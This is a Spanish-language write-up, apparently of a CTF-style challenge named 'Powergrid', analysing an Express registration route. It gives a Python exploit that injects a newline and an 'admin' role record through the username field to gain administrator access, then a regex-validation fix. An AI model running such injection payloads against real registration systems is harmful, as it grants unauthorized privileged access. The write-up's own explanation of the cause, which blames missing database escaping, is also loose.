Ir al contenido

Powergrid

Autor
Santiago Chavarro

Análisis
#

Código inseguro
#

En el código original tenemos una ruta de registro que acepta un username y un password desde req.body. Se usa esta información para crear un usuario con rol fijo ‘operator’.

// Register

router.post('/register', (req, res) => {

    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).json({ success: false, error: 'Username and password required' });
    }

    const success = addUser(username, password, 'operator');
    if (!success) {
        return res.status(400).json({ success: false, error: 'Username already exists or registration failed' });

    }

Este código no valida ni sanitiza los datos de entrada correctamente. La función addUser recibe el username y password tal cual, lo que permite manipulación maliciosa.

Exploit
#

El exploit aprovecha precisamente esa falta de validación y sanitización. Se construye un payload especial con la siguiente estructura:

{username}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{username}

Esta cadena concatena un nombre de usuario seguido de un hash y la palabra "admin", con un salto de línea y otra vez el username. Cuando este payload se pasa al registro, el proceso de almacenamiento o autenticación interpreta la presencia del texto "admin" como un cambio directo de rol.

Luego, tras el registro, se hace login con el username y password originales, y se obtiene acceso con rol administrativo, lo cual no debería ser permitido.

La idea del exploit es inyectar información en el campo de username para sobrescribir el rol y obtener permisos elevados sin autenticación válida.

if __name__ == "__main__":

    username = random_string(8)
    password = "CoolPassword17!"

    # password in hash format
    payload = "{}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{}".format(username, username)

    register_user(payload, password)
    # if register success, then we can login with the original username. Our role now should be admin after the injection.

    cookies = login_user(username, password).cookies
    response = get_admin_panel(cookies)

    if "powergrid - administrator control" in response.text.lower():
        print("Exploit success. Admin access obtained.")
        print("Login with username: {} and password: {}".format(username, password))
    else:
        print("Exploit failed.")

Por qué sucede este fallo
#

El sistema no valida ni limita la estructura del username ni password y acepta cadenas arbitrarias. Tampoco usa escapes o parámetros seguros en la base de datos, permitiendo que la inyección de texto afecte el rol asignado.

Solución
#

Para corregir el problema, el enfoque es validar estrictamente y sancionar el contenido de username y password. Se añadieron expresiones regulares para restringir caracteres permitidos y longitudes, evitando caracteres especiales que puedan servir para inyección.

Ejemplo de validación saneada:

// Register

router.post('/register', (req, res) => {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).json({ success: false, error: 'Username and password required' });
    }

    const usernameRegex = /^[a-zA-Z0-9_!@#$%^&*]{3,30}$/;
    if (!usernameRegex.test(username)) {
        return res.status(400).json({ success: false, error: 'Username inválido' });
    }

    const passwordRegex = /^[a-zA-Z0-9_!@#$%^&*]{3,30}$/;
    if (!passwordRegex.test(password)) {
        return res.status(400).json({ success: false, error: 'Password inválido' });
    }

    const success = addUser(username, password, 'operator');
    if (!success) {
        return res.status(400).json({ success: false, error: 'Username already exists or registration failed' });
    }

Referencias
#